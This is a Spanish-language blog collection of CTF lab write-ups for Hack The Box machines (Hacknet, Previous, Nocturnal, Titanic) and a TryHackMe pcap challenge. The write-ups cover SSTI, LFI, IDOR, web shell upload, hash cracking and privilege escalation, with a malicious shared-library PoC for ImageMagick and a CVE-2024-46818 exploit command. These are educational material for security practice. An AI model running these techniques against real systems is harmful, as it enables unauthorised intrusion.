Finalmente, solo queda copiar los archivos a la máquina atacante para su descompresión.

Se importa la clave obtenida anteriormente.

Y por último, se descomprime el archivo.

Una vez descomprimido, al buscar por la palabra “password”, se encuentra una conversación donde se filtra la clave de administrador.

De esta forma, se consigue acceder fácilmente al usuario root y se obtiene la última flag de la máquina.

Conclusión

La explotación de Hacknet se ejecutó mediante una cadena de ataque en tres fases: primero, se utilizó una Inyección de Plantilla de Django (SSTI) para extraer credenciales y obtener acceso inicial como el usuario mikey. Segundo, se escaló a sandy mediante el envenenamiento de la caché de Django explotando una vulnerabilidad de deserialización de pickle. Finalmente, se alcanzó el acceso a root al crackear la clave GPG de sandy para descifrar backups que contenían las credenciales de administrador, destacando la necesidad de asegurar tanto el código de la aplicación como la gestión de claves criptográficas.

Espero que os haya gustado esta máquina y nos vemos en la próxima.

Previous WriteUp Hack The Box

Sun, 11 Jan 2026 00:00:00 +0000

Introducción

Previous es una máquina de HackTheBox de dificultad media. Para resolverla, tendremos que enumerar todos los puertos y servicios expuestos. En la aplicación web, veremos un inicio de sesión y una versión vulnerable del framework Next.js. Al realizar fuzzing, explotaremos esta vulnerabilidad y encontraremos credenciales incrustadas en el código.

Una vez accedamos a SSH con la cuenta del usuario y realicemos otra enumeración del sistema, descubriremos que el usuario puede ejecutar el programa Terraform como administrador del sistema. Modificaremos archivos de configuración y un archivo que nos permitirá escalar privilegios, de modo que al ejecutarlo obtendremos privilegios de administrador y capturaremos la flag final.

Reconocimiento

Comenzando con nmap, descubriremos que están abiertos el puerto 22 (SSH) y el puerto 80 (HTTP con nginx 1.18.0).

No podremos acceder al puerto 22 porque no conocemos ninguna de las credenciales. Al acceder al puerto 80, encontraremos dos botones (“Get Started”) que nos redirigen al mismo sitio.

A simple vista, no encontraremos nada útil, pero al fijarnos en la URL, vemos que está buscando en la máquina el archivo “Docs”.

Enumerando con la extensión de navegador Wappalyzer, encontraremos la versión de Next.js que utiliza la aplicación.

Explotación

Una vez finalizada toda la enumeración, buscaremos y encontraremos una prueba de concepto como esta del usuario alihussainzada:

Prueba de concepto

Esta prueba de concepto demuestra que el framework Next.js es vulnerable a la cabecera x-middleware-subrequest. Sabiendo esto, utilizaremos herramientas para hacer fuzzing, como dirsearch, añadiendo el parámetro -H para incluir la cabecera.

Con un poco de paciencia, encontraremos el directorio api y dentro de él, download.

Download puede ser el directorio que lista los contenidos de la web. Nos falta encontrar el parámetro que utiliza para listar archivos. Utilizando la herramienta ffuf, podremos realizar fuzzing nuevamente para encontrar el parámetro.

Sabiendo el directorio y el parámetro, hacemos una prueba de concepto para demostrar que es vulnerable a Local File Inclusion.

Ahora toca enumerar los archivos hasta encontrar bases de datos o credenciales para acceder a la máquina. Lo primero y más importante es conocer cómo se estructura un proyecto de Next.js. En esta web podremos ver qué archivos y carpetas se crean al generar un proyecto nuevo:

Documentación de Next.js

Conociendo un poco más la aplicación, encontraremos este archivo, que nos indica las variables de entorno.

Al seguir enumerando la máquina, encontramos este archivo que puede sugerir dónde están las credenciales.

El archivo tiene caracteres especiales en el nombre, así que tendremos que codificarlo a URL para poder listar el archivo sin problemas. Cuando veamos su contenido, nos costará mucho leerlo, así que debemos utilizar páginas web como “js-beautify” para facilitar la lectura.

Pegando el contenido del archivo y pulsando en el botón de “Beautify Code”, se nos facilitará la lectura.

En el contenido del archivo, podremos ver credenciales. Probaremos a iniciar sesión con ellas.

Hemos podido acceder al SSH; ahora podremos obtener la primera flag.

Escalada de privilegios

Una vez accedido al usuario jeremy, tendremos que buscar algo que nos permita escalar privilegios. En este caso, el programa Terraform puede ser ejecutado por jeremy con privilegios de administrador.

Investigamos cómo funciona la aplicación Terraform. Para ejecutar esta aplicación, es necesario utilizar un directorio para aplicar una configuración. Si visualizamos el código, aprenderemos que necesita un archivo “examples”.

Mirando otros archivos, podemos encontrar uno que nos enseña cómo la aplicación gestiona la infraestructura de la máquina.

Dentro del directorio de jeremy, hay un archivo oculto llamado .terraformrc.

Podemos editarlo para añadir un archivo que nos permita escalar privilegios.

Creamos un archivo en C simple que mejorará nuestra shell con permisos de administrador.

Lo compilamos con gcc.

Finalmente, lo ejecutaremos. Puede dar un fallo indicando que no ha podido cargar algunas estructuras, pero lo importante es que nuestro payload sí se ha cargado.

Ejecutando el comando bash -p, mejoraremos la shell y obtendremos la segunda flag.

Conclusión

En la máquina Previous, realizamos una enumeración de puertos y servicios, lo que nos permitió identificar la vulnerabilidad en el framework Next.js. A través de fuzzing, descubrimos el directorio api y el parámetro necesario para realizar Local File Inclusion, lo que nos llevó a obtener credenciales incrustadas en el código. Con estas credenciales, accedimos a SSH como jeremy y obtuvimos la primera flag.

El reconocimiento de después reveló que jeremy podía ejecutar Terraform con privilegios de administrador. Modificamos el archivo de configuración .terraformrc para incluir un script que nos permitiera escalar privilegios. Al ejecutar este script, logramos obtener una shell con permisos de administrador, lo que nos permitió capturar la flag final.

Nocturnal WriteUp Hack The Box

Wed, 20 Aug 2025 00:00:00 +0000

Introducción

Nocturnal es una máquina de Hack The Box que presenta una vulnerabilidad IDOR en una aplicación web desarrollada en PHP. Gracias a la idor encontramos documentos privados con credenciales que permiten utilizar la app con un usuario con mas privilegios y de ahi subir una shell, obtendremos las credenciales desde una base de datos y las crackearemos para acceder al usuario Tobias Finalmente, utilizaremos un CVE en la aplicación ISPConfig que nos permitirá ejecutar comandos, lo que nos llevará a obtener acceso como usuario root

Reconocimiento

Comenzaremos lanzando un escaneo con nmap.

Como se puede observar, están activos el puerto 22 y el puerto 80. Para acceder al servidor HTTP, será necesario añadir la IP al archivo /etc/hosts.

Al visitar http://nocturnal.htb, llegaremos a una página principal que nos permitirá registrarnos e iniciar sesión.

Procedemos a registrarnos e iniciar sesión.

Una vez redirigidos a /dashboard.php, notamos que al intentar subir un archivo PHP, se genera un error indicando que el formato no es válido y que solo se aceptan archivos con extensiones .pdf, .doc, .docx, entre otros.

Si creamos un archivo PDF de prueba y lo subimos, podremos descargarlo nuevamente haciendo clic en el enlace. Sin embargo, al observar el enlace, notamos que está compuesto por el nombre de usuario y el nombre del archivo.

Si modificamos la URL y cambiamos el parámetro username, si el usuario no existe, aparecerá un error indicando que el archivo no existe.

Con esta información, podemos enumerar los usuarios utilizando la herramienta ffuf. Debemos añadir la URL, la palabra FUZZ en el lugar que queremos enumerar, el diccionario y la cookie de sesión que tengamos. Como se muestra en la imagen, obtenemos muchos resultados, por lo que será necesario filtrar los resultados más relevantes.

Filtraremos por tamaño (-fs) y por palabras (-fw), logrando identificar dos usuarios: amanda y john.

Al modificar la URL y colocar el usuario amanda, podremos ver los archivos que ha subido a la plataforma, en este caso, privacy.odt.

Al descargarlo, encontraremos su contraseña.

Si accedemos a su cuenta, podremos ingresar al panel de administrador.

Desde aquí, podemos crear copias de seguridad, así que utilizaremos una contraseña de prueba y crearemos una.

Una vez finalizado, intentamos controlarlo mediante una inyección de código, pero recibimos un error de “intentar otra contraseña”, lo que impide la ejecución de código.

Otra función del panel de administrador es la opción de ver el código fuente. En el archivo admin.php, podremos observar cuáles son los caracteres que no podemos utilizar.

Explotación

Con esta información, podemos crear un archivo shell y, utilizando la herramienta curl, realizaremos una petición para subir la shell que hemos creado previamente.

Ahora, con curl, podremos ejecutar la shell y establecer una conexión remota con la máquina como el usuario www-data.

Al realizar una búsqueda rápida en el sistema, encontraremos la base de datos nocturnal_database.db. Con la herramienta sqlite3, accederemos y obtendremos las credenciales hasheadas.

Utilizando la herramienta john, podremos crackear el hash del usuario Tobias.

Finalmente, podremos acceder al SSH de la máquina con el usuario Tobias y obtener la primera flag de la máquina.

Escalada de privilegios

Al realizar una enumeración completa de la máquina, observamos que el puerto 8080 está abierto en la interfaz local.

Con esta información, redirigiremos este puerto a nuestra máquina para poder acceder a él.

En este puerto, se está ejecutando un panel de control de ISPConfig. Podemos iniciar sesión como admin utilizando la contraseña que hemos crackeado del usuario Tobias. Una vez dentro, en la sección de “ayuda”, podremos ver la versión del programa.

Conociendo la versión utilizada, podemos buscar exploits y pruebas de concepto que podamos utilizar contra la máquina. Utilizaremos CVE-2024-46818 del usuario bipbopbup.

Al ejecutar el exploit, obtendremos una shell interactiva como el usuario root.

python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

Esto ocurre porque la carpeta donde opera ISPConfig pertenece al usuario root.

Además, el usuario ispconfig también existe en el sistema.

Conclusión

A través de este proceso, hemos logrado escalar privilegios desde un usuario normal hasta obtener acceso como root en la máquina Nocturnal. Espero que os haya gustado esta publicación y nos vemos en la siguiente.

Titanic WriteUp Hack The Box

Sat, 26 Jul 2025 00:00:00 +0000

Introducción

Hoy analizaremos la máquina Titanic de Hack The Box, que es una máquina fácil con sistema operativo Linux. En la fase de reconocimiento, identificaremos los puertos 22 (SSH) y 80 (HTTP). Posteriormente, realizaremos un path traversal en el directorio /download, lo que nos permitirá acceder a archivos sensibles, como por ejemplo /etc/passwd. Más adelante, descubriremos que hay una instancia de Gitea desplegada en un subdominio de la máquina, desde donde podremos extraer el archivo de configuración de Gitea, que nos llevará a una base de datos SQLite con los hashes de los usuarios. Utilizando hashcat, lograremos descifrar la contraseña del usuario “developer” y accederemos a través de SSH. Para el escalado de privilegios, encontraremos un proceso de ImageMagick ejecutándose como root. Finalmente, inyectaremos una librería maliciosa para obtener la flag de root.

Reconocimiento

Usando nmap, detectaremos dos puertos abiertos: SSH y HTTP.

El puerto 80 nos redirige a titanic.htb. Utilizaré ffuf para buscar subdominios, y solo encontraremos el subdominio dev.titanic.htb.

Por lo tanto, añadiremos estos dos dominios al archivo /etc/hosts.

titanic.htb

Al acceder al puerto 80 de la máquina, observaremos que se trata de una compañía de cruceros.

Ninguno de los enlaces de la página nos lleva a algún sitio útil, pero el botón de “Book Now” hace que aparezca una encuesta.

Si completamos la encuesta y pulsamos el botón de “Submit”, se nos devolverá un archivo JSON.

Utilizando la extensión de navegador Wappalyzer, podremos identificar las tecnologías que están funcionando en el sitio web.

dev.titanic.htb

Al acceder, veremos que tiene instalado Gitea.

Explorando, encontraremos dos repositorios públicos: docker-config y flask-app.

docker-config

En el repositorio, podremos encontrar una contraseña de la base de datos en el código sin cifrar.

flask-app

Este repositorio contiene el código fuente de titanic.htb.

Lo interesante de este repositorio es que nos muestra el funcionamiento del dominio. El directorio /book realiza una petición POST, guarda los datos en un archivo y redirige a /download utilizando ese nombre.

El directorio /download pasa una constante TICKETS_DIR (que se establece en “tickets” al principio del archivo) y el parámetro de entrada del usuario a os.path.join, luego verifica si el archivo resultante existe y lo envía.

Explotación

Cuando hacemos una petición a /book, nos redirige a /download. Este directorio utiliza el parámetro ticket para devolvernos el archivo JSON. Como he resuelto varias máquinas, sé que este tipo de parámetros puede llevar a una vulnerabilidad de lectura de archivos.

Como se puede observar en la siguiente imagen, si cambiamos el valor por un archivo interno de la máquina, podremos leer el archivo /etc/passwd. Poder acceder a este archivo es peligroso, ya que nos permite listar todos los usuarios que existen en la máquina.

Sabiendo esto y revisando el código fuente que encontramos anteriormente, podremos listar la base de datos.

Ahora simplemente podemos descargarla utilizando curl y analizarla después con la herramienta sqlite3.

Si listamos todos los datos de la tabla user, obtendremos los hashes de los usuarios.

Con hashcat, podremos crackear los hashes obtenidos anteriormente para acceder al SSH con el siguiente comando:

hashcat basedatos.db /usr/share/wordlists/rockyou.txt --user

![[23.png]]

Escalado de privilegios

Una vez conectados por SSH a la máquina como “developer”, encontraremos en su directorio la primera flag.

Realizando un reconocimiento básico de la máquina con los privilegios del usuario “developer”, encontraremos un script llamado identify_images.sh. Con esto, descubriremos que la herramienta ImageMagick está instalada en la máquina. ImageMagick es un programa que permite editar imágenes digitales.

La versión instalada es 7.1.1-35, que presenta vulnerabilidades. Podemos buscar una prueba de concepto para escalar privilegios.

He encontrado esta prueba de concepto con una búsqueda rápida.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF

La modificamos para que nos proporcione una shell con los privilegios de administrador.

Si la ejecutamos, generará un archivo que nos otorgará la shell con los privilegios de administrador.

Finalmente, al acceder como administrador, podremos obtener la última flag en el directorio /root.

¿Como se puede securizar?

Implementar controles de acceso para evitar que archivos sensibles como /etc/passwd sean accesibles a través de la web.
Asegurarse de que todos los parámetros de entrada, como el ticket en el directorio /download, sean validados y sanitizados para prevenir ataques de path traversal.
Mantener ImageMagick y otros paquetes de software actualizados a sus versiones más recientes para mitigar vulnerabilidades conocidas.
Implementar políticas de contraseñas que requieran el uso de contraseñas fuertes y únicas para cada usuario.

Conclusión

La máquina Titanic de Hack The Box permite explorar vulnerabilidades a través de técnicas como el path traversal y la explotación de ImageMagick para escalar privilegios. Este ejercicio enseña la importancia de validar entradas, proteger archivos sensibles, mantener el software actualizado y deshabilitar funciones innecesarias.

Espero que os haya gustado la publicación, nos vemos en la siguiente!

Security Footage Tryhackme Walkthrought

Fri, 20 Jun 2025 00:00:00 +0000

Introducción

He estado resolviendo retos en TryHackMe, y el reto de “Security Footage” me ha gustado mucho. En este reto, podemos aprender cómo se pueden recuperar las imágenes desde una captura de Wireshark para recrear un video de una cámara de vigilancia.

Analizando el archivo .pcap

El reto nos pide recuperar un video de una cámara de vigilancia, pero solo disponemos de una captura de Wireshark. Al analizarla, vemos que la IP “10.0.2.15” ha iniciado una conexión no cifrada con la cámara y esta está mostrando video.

Si hacemos clic derecho y seguimos la cadena, podremos analizar que no se está enviando video, sino que se están mandando muchas imágenes. Para extraer las imágenes de esta captura, podemos ir al apartado de “Mostrar como” en formato “raw” y guardar el archivo para su posterior descompresión. En mi caso, guardaré el archivo como “cadena.fjpeg”, que es el formato que normalmente utilizan las cámaras de vigilancia.

Obtener las imágenes

Con la herramienta ffmpeg podremos extraer todas las imágenes del archivo que hemos creado anteriormente. El comando hace lo siguiente:

-i ./cadena.fjpeg: Aquí le decimos al programa cuál archivo usar como entrada, en este caso, cadena.fjpeg. Puede ser un video o una imagen, dependiendo de lo que quieras convertir.
-q:v 2: Esto ajusta la calidad de las imágenes JPEG que se generan. El número 2 indica una calidad bastante alta, ya que en esta escala, donde 1 es la mejor y 31 la peor, un valor más bajo significa mejor calidad.
imagen_%04d.jpg: Este es el patrón que usará para nombrar los archivos de salida. %04d será reemplazado por un número secuencial de cuatro dígitos. Así, las imágenes saldrán como imagen_0001.jpg, imagen_0002.jpg, etc.

Volver a montar el video

Ahora que ya tenemos todas las imágenes del video, solo falta juntarlas y montar el video de nuevo. Utilizando la misma herramienta de antes y estos parámetros, podremos hacerlo:

-framerate 10: Este ajuste establece que el video final reproduzca 10 imágenes por segundo. Es decir, verás 10 cuadros en cada segundo de video.
-i ./imagen_%04d.jpg: Este patrón indica cómo nombrar las imágenes de entrada, que deben estar numeradas en orden (como imagen_0001.jpg, imagen_0002.jpg, y así sucesivamente).
-c:v libx264: Aquí se usa el códec libx264, que es muy popular para comprimir videos en el formato H.264, permitiendo buena calidad con un tamaño de archivo moderado.
-pix_fmt yuv420p: Esto configura el formato de píxeles del video de salida para que sea compatible con la mayoría de los reproductores, asegurando que puedas verlo sin problemas.
video_reconstruido.mp4: Es el nombre del archivo final, el video que se genera y que podrás reproducir en cualquier dispositivo compatible con MP4.

Una vez vuelto a montar el video, podremos ver la flag que necesitamos para resolver el reto.

Conclusión

Con este ejercicio, aprendimos a extraer imágenes de un archivo .pcap usando “Wireshark” y a reconstruir un video a partir de esas imágenes con “ffmpeg”. Este proceso no solo nos ayuda a entender cómo se transmiten los datos en redes no cifradas, sino que también muestra lo útiles que son las herramientas de análisis y conversión de medios en la ciberseguridad. Al lograr recuperar el video de la cámara de vigilancia, no solo completamos el reto, sino que también adquirimos conocimientos que podemos aplicar en situaciones reales.